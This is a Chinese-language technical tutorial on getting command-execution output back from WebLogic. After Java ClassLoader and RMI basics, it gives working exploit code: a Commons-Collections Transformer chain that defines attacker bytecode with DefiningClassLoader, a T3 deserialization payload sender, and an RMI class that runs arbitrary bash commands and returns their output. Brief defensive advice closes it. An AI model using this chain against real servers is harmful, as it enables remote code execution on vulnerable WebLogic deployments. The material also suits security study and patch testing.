Weblogic使用ClassLoader和RMI来回显命令执行结果
字数 1650 2025-08-26 22:11:56
WebLogic ClassLoader与RMI命令执行回显技术详解
1. Java类加载基础
1.1 Java类加载机制
Java是编译型语言,所有代码都需要编译成字节码由JVM执行。类初始化时通过java.lang.ClassLoader加载字节码,调用defineClass方法创建java.lang.Class实例。
1.2 类加载方式
显示加载:
- 通过反射或ClassLoader类加载
- 示例:
Class.forName("com.test.ClassLoader.HelloWorld");
隐式加载:
- 通过类名.方法名或new实例
- 示例:
HelloWorld.test();
1.3 ClassLoader核心方法
| 方法名 | 作用 |
|---|---|
| loadClass | 加载指定的Java类 |
| findClass | 查找指定的Java类 |
| findLoadedClass | 查找JVM已加载的类 |
| defineClass | 定义一个Java类 |
| resolveClass | 链接指定的Java类 |
2. 自定义类加载技术
2.1 自定义类加载实现
当classpath中不存在所需类时,可重写ClassLoader的findClass方法,使用defineClass传入自定义字节码:
public class MyClassLoader extends ClassLoader {
private static String myClassName = "com.test.ClassLoader.HelloWorld";
private static byte[] bs = new byte[]{...}; // 类字节码
@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
if (name.equals(myClassName)) {
return defineClass(myClassName, bs, 0, bs.length);
}
return super.findClass(name);
}
}
2.2 可用的ClassLoader子类
以下ClassLoader子类的defineClass方法可直接使用:
jxxload_help.PathVFSJavaLoader#loadClassFromBytesorg.python.core.BytecodeLoader1#loadClassFromBytessun.org.mozilla.javascript.internal.DefiningClassLoader#defineClassjava.security.SecureClassLoader#defineClassorg.mozilla.classfile.DefiningClassLoader#defineClass
3. RMI技术基础
3.1 RMI简介
RMI(Remote Method Invocation)实现Java程序跨JVM的远程通信,包含三个角色:
- RMI Registry:注册中心
- RMI Server:服务端
- RMI Client:客户端
3.2 RMI示例代码
服务端:
public class RMIServer {
public interface IRemoteHelloWorld extends Remote {
public String hello() throws RemoteException;
}
public class RemoteHelloWorld extends UnicastRemoteObject
implements IRemoteHelloWorld {
public String hello() throws RemoteException {
return "helloworld";
}
}
private void start() throws Exception {
RemoteHelloWorld h = new RemoteHelloWorld();
LocateRegistry.createRegistry(1099);
Naming.rebind("rmi://127.0.0.1:1099/Hello", h);
}
}
客户端:
public class RMIClient {
public static void main(String[] args) throws Exception {
RMIServer.IRemoteHelloWorld hello = (RMIServer.IRemoteHelloWorld)
Naming.lookup("rmi://127.0.0.1:1099/Hello");
String res = hello.hello();
System.out.println(res);
}
}
4. WebLogic命令执行回显技术
4.1 技术原理
- 利用common-collection反序列化漏洞调用ClassLoader
- 通过字节码自定义RMI接口类
- 在类实现的方法中返回命令执行结果
4.2 实现步骤
-
选择RMI接口:寻找WebLogic中合适的RMI接口,如
weblogic.cluster.singleton.ClusterMasterRemote -
实现RMI接口:
public class RemoteImpl implements ClusterMasterRemote {
@Override
public String getServerLocation(String cmd) throws RemoteException {
try {
List<String> cmds = new ArrayList<>();
cmds.add("/bin/bash");
cmds.add("-c");
cmds.add(cmd);
ProcessBuilder pb = new ProcessBuilder(cmds);
pb.redirectErrorStream(true);
Process proc = pb.start();
BufferedReader br = new BufferedReader(
new InputStreamReader(proc.getInputStream()));
StringBuffer sb = new StringBuffer();
String line;
while ((line = br.readLine()) != null) {
sb.append(line).append("\n");
}
return sb.toString();
} catch (Exception e) {
return e.getMessage();
}
}
}
- 构造Transformer链:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(DefiningClassLoader.class),
new InvokerTransformer("getDeclaredConstructor",
new Class[]{Class[].class}, new Object[]{new Class[0]}),
new InvokerTransformer("newInstance",
new Class[]{Object[].class}, new Object[]{new Object[0]}),
new InvokerTransformer("defineClass",
new Class[]{String.class, byte[].class},
new Object[]{className, clsData}),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"main", new Class[]{String[].class}}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[]{}}),
new ConstantTransformer(new HashSet())};
- 发送T3协议Payload:
Object obj = new MarshalledObject(handler);
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(obj);
objOut.flush();
objOut.close();
byte[] payload = out.toByteArray();
T3ProtocolOperation.send(host, port, payload);
- 调用RMI方法获取结果:
Environment environment = new Environment();
environment.setProviderUrl(url);
Context context = environment.getInitialContext();
ClusterMasterRemote remote = (ClusterMasterRemote) context.lookup("Y4er");
String res = remote.getServerLocation("ifconfig");
System.out.println(res);
5. 关键技术点
-
字节码生成:通过编译Java类并提取字节码,用于动态加载
-
ClassLoader选择:使用
org.mozilla.classfile.DefiningClassLoader的defineClass方法 -
RMI接口选择:寻找返回类型为String且抛出RemoteException的接口方法
-
序列化构造:利用common-collections的Transformer链构造反序列化payload
-
T3协议通信:通过WebLogic的T3协议发送序列化数据
6. 防御建议
- 及时更新WebLogic补丁
- 限制不必要的RMI服务
- 监控ClassLoader的异常使用
- 实施严格的输入验证和反序列化过滤
- 使用安全管理器限制敏感操作